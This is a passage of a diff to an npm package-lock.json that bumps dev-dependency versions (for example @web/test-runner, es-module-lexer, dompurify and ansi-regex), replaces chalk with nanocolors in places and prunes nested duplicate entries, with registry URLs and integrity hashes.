"sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true } } }, "@web/dev-server-core": { - "version": "0.3.14", - "resolved": "https://registry.npmjs.org/@web/dev-server-core/-/dev-server-core-0.3.14.tgz", - "integrity": "sha512-QHWGbkLI7qZVkELd6a7R4llRF9zydwbZagAeiJRvOIIiDhG5Uu9DfAWAQL+RSCb2hqBlEnaVAK4keNffKol4rQ==", + "version": "0.3.16", + "resolved": "https://registry.npmjs.org/@web/dev-server-core/-/dev-server-core-0.3.16.tgz", + "integrity": "sha512-nj6liCErIGtpuZYPf6QaxGQ9nlaHd8Cf/NBcRhogskvjOVFkF3FS9xpjRw3WidkmOQnk+D0ZGCeXjtTibgy5CA==", "dev": true, "requires": { "@types/koa": "^2.11.6", @@ -4244,7 +3506,7 @@ "@web/parse5-utils": "^1.2.0", "chokidar": "^3.4.3", "clone": "^2.1.2", - "es-module-lexer": "^0.7.1", + "es-module-lexer": "^0.9.0", "get-stream": "^6.0.0", "is-stream": "^2.0.0", "isbinaryfile": "^4.0.6", @@ -4260,52 +3522,16 @@ } }, "@web/dev-server-rollup": { - "version": "0.3.9", - "resolved": "https://registry.npmjs.org/@web/dev-server-rollup/-/dev-server-rollup-0.3.9.tgz", - "integrity": "sha512-8NOV8GxcDXk9u+hsVYllGiMhcORYMFK+LtLT4HIg3+emW64j0MynttowBoOFpgwv7YOuVQ6lWe1kmJxiI+TRdg==", + "version": "0.3.11", + "resolved": "https://registry.npmjs.org/@web/dev-server-rollup/-/dev-server-rollup-0.3.11.tgz", + "integrity": "sha512-heDmLrmV5bNap+fkAJdOKDqVG2ZpXu86CfN3dZqaUgjUMNTLsvgWI2CikD9+QV0tSstfXXwYUuTVeNIEvNjTcA==", "dev": true, "requires": { - "@web/dev-server-core": "^0.3.3", - "chalk": "^4.1.0", + "@web/dev-server-core": "^0.3.16", + "nanocolors": "^0.2.1", "parse5": "^6.0.1", - "rollup": "^2.56.2", + "rollup": "^2.58.0", "whatwg-url": "^9.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - } } }, "@web/parse5-utils": { @@ -4327,69 +3553,35 @@ } }, "@web/test-runner": { - "version": "0.13.17", - "resolved": "https://registry.npmjs.org/@web/test-runner/-/test-runner-0.13.17.tgz", - "integrity": "sha512-j18WgiQtdYiIbT+dtLpVr47fUEdNFtXWBzIvgfvq4T+HZpcW32MfwgNxcaIY6o5d2851myW6Ngeq2HjuQJqaDg==", + "version": "0.13.18", + "resolved": "https://registry.npmjs.org/@web/test-runner/-/test-runner-0.13.18.tgz", + "integrity": "sha512-VeKs5RG3PbGc466Ylr0kk1S8vtXQ71Ll7g+t3bkScqlAAUo17qRpetQQjhUWQdU4uAQfteL92GLyfCc06VeYpA==", "dev": true, "requires": { "@web/browser-logs": "^0.2.2", "@web/config-loader": "^0.1.3", - "@web/dev-server": "^0.1.20", + "@web/dev-server": "^0.1.24", "@web/test-runner-chrome": "^0.10.3", "@web/test-runner-commands": "^0.5.10", - "@web/test-runner-core": "^0.10.20", + "@web/test-runner-core": "^0.10.21", "@web/test-runner-mocha": "^0.7.4", "camelcase": "^6.2.0", - "chalk": "^4.1.0", "command-line-args": "^5.1.1", "command-line-usage": "^6.1.1", "convert-source-map": "^1.7.0", "diff": "^5.0.0", "globby": "^11.0.1", + "nanocolors": "^0.2.1", "portfinder": "^1.0.28", "source-map": "^0.7.3" }, "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, "camelcase": { "version": "6.2.0", "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.2.0.tgz", "integrity": "sha512-c7wVvbw3f37nuobQNtgsgG9POC9qMbNuMQmTCqZv23b6MIz0fcYpBiOlv9gEN/hdLdnZTDQhg6e9Dq5M1vKvfg==", "dev": true }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, "diff": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/diff/-/diff-5.0.0.tgz", @@ -4435,9 +3627,9 @@ } }, "@web/test-runner-core": { - "version": "0.10.20", - "resolved": "https://registry.npmjs.org/@web/test-runner-core/-/test-runner-core-0.10.20.tgz", - "integrity": "sha512-zUU8YxVMCAfYrsK3YPR6EIA5CWBrGUGUd/fNgEu4iCYsSxHFWpZsHNMOuNZS0/ssKbHJLvdDjpZ6T6EuqJT69Q==", + "version": "0.10.21", + "resolved": "https://registry.npmjs.org/@web/test-runner-core/-/test-runner-core-0.10.21.tgz", + "integrity": "sha512-Dh1TJITyil4w22DXwCmYEyp4BBzRFxRqiUbJ/iPziT1E5heAx/pZPug1oFs83LKUc/crOcDhObz6u4ynGWz9wQ==", "dev": true, "requires": { "@babel/code-frame": "^7.12.11", @@ -4447,10 +3639,8 @@ "@types/debounce": "^1.2.0", "@types/istanbul-lib-coverage": "^2.0.3", "@types/istanbul-reports": "^3.0.0", - "@types/uuid": "^8.3.0", "@web/browser-logs": "^0.2.1", - "@web/dev-server-core": "^0.3.12", - "chalk": "^4.1.0", + "@web/dev-server-core": "^0.3.16", "chokidar": "^3.4.3", "cli-cursor": "^3.1.0", "co-body": "^6.1.0", @@ -4463,57 +3653,18 @@ "istanbul-lib-report": "^3.0.0", "istanbul-reports": "^3.0.2", "log-update": "^4.0.0", + "nanocolors": "^0.2.1", + "nanoid": "^3.1.25", "open": "^8.0.2", "picomatch": "^2.2.2", - "source-map": "^0.7.3", - "uuid": "^8.3.2" + "source-map": "^0.7.3" }, "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, "source-map": { "version": "0.7.3", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.3.tgz", "integrity": "sha512-CkCj6giN3S+n9qrYiBTX5gystlENnRW5jZeNLHpe6aue+SrHcG5VYwujhW9s4dY31mEGsxBDrHR6oI69fTXsaQ==", "dev": true - }, - "uuid": { - "version": "8.3.2", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", - "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", - "dev": true } } }, @@ -4573,11 +3724,6 @@ "through": ">=2.2.7 <3" } }, - "JSV": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/JSV/-/JSV-4.0.2.tgz", - "integrity": "sha1-0Hf2glVx+CEy+d/67Vh7QCn+/1c=" - }, "abort-controller": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/abort-controller/-/abort-controller-3.0.0.tgz", @@ -4680,9 +3826,9 @@ "integrity": "sha1-SlKCrBZHKek2Gbz9OtFR+BfOkfU=" }, "amf-client-js": { - "version": "4.7.7", - "resolved": "https://registry.npmjs.org/amf-client-js/-/amf-client-js-4.7.7.tgz", - "integrity": "sha512-HsSfSuMXSK2lBDpfdRAu8sMvmbFKJCaErphACnG+JkSU2DfdSVgG6VRMgF35NWU2/BFQycOZYZxpApS7m8BCBA==", + "version": "4.7.8", + "resolved": "https://registry.npmjs.org/amf-client-js/-/amf-client-js-4.7.8.tgz", + "integrity": "sha512-Wd6USEvxelx6DAzyILciPEWPmNRDkhN2ldBY0F8n5HrTjfRNvY/jEkV/pF/pj/WnLKtDI3cbMkMK2kzQOyF6fA==", "dev": true, "requires": { "ajv": "6.12.6", @@ -4730,21 +3876,36 @@ } }, "ansi-regex": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", - "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==", + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", "dev": true }, "ansi-styles": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-1.0.0.tgz", - "integrity": "sha1-yxAt8cVvUSPquLZ817mAJ6AnkXg=" - }, - "any-promise": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz", - "integrity": "sha1-q8av7tzqUugJzcA3au0845Y10X8=", - "dev": true + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { + "color-convert": "^2.0.1" + }, + "dependencies": { + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + } + } }, "anymatch": { "version": "3.1.2", @@ -4756,6 +3917,12 @@ "picomatch": "^2.0.4" } }, + "arg": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/arg/-/arg-4.1.3.tgz", + "integrity": "sha512-58S9QDqG0Xx27YwPSt9fJxivjYl432YCwfDMfZ+71RAqUrZef7LrKQZ3LHLOwCS4FLNBplP533Zx895SeOCHvA==", + "dev": true + }, "argparse": { "version": "1.0.10", "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", @@ -4872,12 +4039,6 @@ "asynciterator": "^3.0.0" } }, - "at-least-node": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/at-least-node/-/at-least-node-1.0.0.tgz", - "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==", - "dev": true - }, "attempt-x": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/attempt-x/-/attempt-x-1.1.3.tgz", @@ -4925,34 +4086,6 @@ "buffer": "^5.5.0", "inherits": "^2.0.4", "readable-stream": "^3.4.0" - }, - "dependencies": { - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "dev": true - }, - "readable-stream": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", - "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", - "dev": true, - "requires": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - "util-deprecate": "^1.0.1" - } - }, - "string_decoder": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", - "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", - "dev": true, - "requires": { - "safe-buffer": "~5.2.0" - } - } } }, "brace-expansion": { @@ -5092,19 +4225,19 @@ } }, "chai-dom": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/chai-dom/-/chai-dom-1.9.0.tgz", - "integrity": "sha512-UXSbhcGVBWv/5qVqbJY/giTDRyo3wKapUsWluEuVvxcJLFXkyf8l4D2PTd6trzrmca6WWnGdpaFkYdl1P0WjtA==", + "version": "1.10.0", + "resolved": "https://registry.npmjs.org/chai-dom/-/chai-dom-1.10.0.tgz", + "integrity": "sha512-/FE0NvEGMXx1x1YQlc8ihLrEhH8JawflchuGe6ypIAX/4Zwmkr4cC3mfR9pDytbxsE/2LSm719TeU7VF/TCmtg==", "dev": true }, "chalk": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-0.4.0.tgz", - "integrity": "sha1-UZmj3c0MHv4jvAjBsCewYXbgxk8=", + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, "requires": { - "ansi-styles": "~1.0.0", - "has-color": "~0.1.0", - "strip-ansi": "~0.1.0" + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" } }, "charenc": { @@ -5185,30 +4318,6 @@ "string-width": "^4.2.0" }, "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, "slice-ansi": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-3.0.0.tgz", @@ -5231,17 +4340,6 @@ "string-width": "^4.2.0", "strip-ansi": "^6.0.0", "wrap-ansi": "^7.0.0" - }, - "dependencies": { - "strip-ansi": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", - "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", - "dev": true, - "requires": { - "ansi-regex": "^5.0.0" - } - } } }, "clone": { @@ -5461,9 +4559,9 @@ }, "dependencies": { "@types/node": { - "version": "14.17.15", - "resolved": "https://registry.npmjs.org/@types/node/-/node-14.17.15.tgz", - "integrity": "sha512-D1sdW0EcSCmNdLKBGMYb38YsHUS6JcM7yQ6sLQ9KuZ35ck7LYCKE7kYFHOO59ayFOY3zobWVZxf4KXhYHcHYFA==", + "version": "14.17.19", + "resolved": "https://registry.npmjs.org/@types/node/-/node-14.17.19.tgz", + "integrity": "sha512-jjYI6NkyfXykucU6ELEoT64QyKOdvaA6enOqKtP4xUsGY0X0ZUZz29fUmrTRo+7v7c6TgDu82q3GHHaCEkqZwA==", "dev": true } } @@ -5537,32 +4635,6 @@ "through2": "^4.0.0" }, "dependencies": { - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "dev": true - }, - "readable-stream": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", - "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", - "dev": true, - "requires": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - "util-deprecate": "^1.0.1" - } - }, - "string_decoder": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", - "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", - "dev": true, - "requires": { - "safe-buffer": "~5.2.0" - } - }, "through2": { "version": "4.0.2", "resolved": "https://registry.npmjs.org/through2/-/through2-4.0.2.tgz", @@ -5602,9 +4674,9 @@ } }, "core-js-pure": { - "version": "3.17.3", - "resolved": "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.17.3.tgz", - "integrity": "sha512-YusrqwiOTTn8058JDa0cv9unbXdIiIgcgI9gXso0ey4WgkFLd3lYlV9rp9n7nDCsYxXsMDTjA4m1h3T348mdlQ==", + "version": "3.18.0", + "resolved": "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.18.0.tgz", + "integrity": "sha512-ZnK+9vyuMhKulIGqT/7RHGRok8RtkHMEX/BGPHkHx+ouDkq+MUvf9mfIgdqhpmPDu8+V5UtRn/CbCRc9I4lX4w==", "dev": true }, "core-util-is": { @@ -5625,6 +4697,12 @@ "yaml": "^1.10.0" } }, + "create-require": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/create-require/-/create-require-1.1.1.tgz", + "integrity": "sha512-dcKFX3jn0MpIaXjisoRvexIJVEKzaq7z2rZKxf+MSr9TkdmHmsU4m2lcLojrj/FHl8mk5VxMmYA+ftRkP/3oKQ==", + "dev": true + }, "cross-fetch": { "version": "3.1.4", "resolved": "https://registry.npmjs.org/cross-fetch/-/cross-fetch-3.1.4.tgz", @@ -5632,14 +4710,6 @@ "dev": true, "requires": { "node-fetch": "2.6.1" - }, - "dependencies": { - "node-fetch": { - "version": "2.6.1", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.1.tgz", - "integrity": "sha512-V4aYg89jEoVRxRb2fJdAg8FHvI7cEyYdVAh94HH0UIK8oJxUfkjlDQN9RbMx+bEjP7+ggMiFRprSti032Oipxw==", - "dev": true - } } }, "cross-spawn": { @@ -5658,11 +4728,6 @@ "resolved": "https://registry.npmjs.org/crypt/-/crypt-0.0.2.tgz", "integrity": "sha1-iNf/fsDfuG9xPch7u0LQRNPmxBs=" }, - "cryptojslib": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/cryptojslib/-/cryptojslib-3.1.2.tgz", - "integrity": "sha1-aEbccl6lCKhqwMnEQc0uyUTe82Y=" - }, "dargs": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/dargs/-/dargs-7.0.0.tgz", @@ -5754,13 +4819,6 @@ "requires": { "abstract-leveldown": "~6.2.1", "inherits": "^2.0.3" - }, - "dependencies": { - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" - } } }, "define-lazy-prop": { @@ -5900,9 +4958,9 @@ } }, "dompurify": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-2.3.1.tgz", - "integrity": "sha512-xGWt+NHAQS+4tpgbOAI08yxW0Pr256Gu/FNE2frZVTbgrBUn8M7tz7/ktS/LZ2MHeGqz6topj0/xY+y8R5FBFw==" + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-2.3.3.tgz", + "integrity": "sha512-dqnqRkPMAjOZE0FogZ+ceJNM2dZ3V/yNOuFB7+39qpO93hHhfRpHw3heYQC7DPK9FqbQTfBKUJhiSfz4MvXYwg==" }, "domutils": { "version": "2.8.0", @@ -5959,16 +5017,9 @@ "integrity": "sha512-QKrV0iKR6MZVJV08QY0wp1e7vF6QbhnbQhb07bwpEyuz4uZiZgPlEGdkCROuFkUwdxlFaiPIhjyarH1ee/3vhw==", "requires": { "abstract-leveldown": "^6.2.1", - "inherits": "^2.0.3", - "level-codec": "^9.0.0", - "level-errors": "^2.0.0" - }, - "dependencies": { - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" - } + "inherits": "^2.0.3", + "level-codec": "^9.0.0", + "level-errors": "^2.0.0" } }, "end-of-stream": { @@ -6061,9 +5112,9 @@ } }, "es-module-lexer": { - "version": "0.7.1", - "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-0.7.1.tgz", - "integrity": "sha512-MgtWFl5No+4S3TmhDmCz2ObFGm6lEpTnzbQi+Dd+pw4mlTIZTmM2iAs5gRlmx5zS9luzobCSBSI90JM/1/JgOw==", + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-0.9.0.tgz", + "integrity": "sha512-qU2eN/XHsrl3E4y7mK1wdWnyy5c8gXtCbfP6Xcsemm7fPUR1PIV1JhZfP7ojcN0Fzp69CfrS3u76h2tusvfKiQ==", "dev": true }, "es-to-primitive": { @@ -6162,40 +5213,6 @@ "@babel/highlight": "^7.10.4" } }, - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, "debug": { "version": "4.3.2", "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz", @@ -6216,15 +5233,6 @@ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", "dev": true - }, - "strip-ansi": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", - "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", - "dev": true, - "requires": { - "ansi-regex": "^5.0.0" - } } } }, @@ -6300,32 +5308,12 @@ } }, "eslint-plugin-html": { - "version": "6.1.2", - "resolved": "https://registry.npmjs.org/eslint-plugin-html/-/eslint-plugin-html-6.1.2.tgz", - "integrity": "sha512-bhBIRyZFqI4EoF12lGDHAmgfff8eLXx6R52/K3ESQhsxzCzIE6hdebS7Py651f7U3RBotqroUnC3L29bR7qJWQ==", + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/eslint-plugin-html/-/eslint-plugin-html-6.2.0.tgz", + "integrity": "sha512-vi3NW0E8AJombTvt8beMwkL1R/fdRWl4QSNRNMhVQKWm36/X0KF0unGNAY4mqUF06mnwVWZcIcerrCnfn9025g==", "dev": true, "requires": { - "htmlparser2": "^6.0.1" - }, - "dependencies": { - "entities": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz", - "integrity": 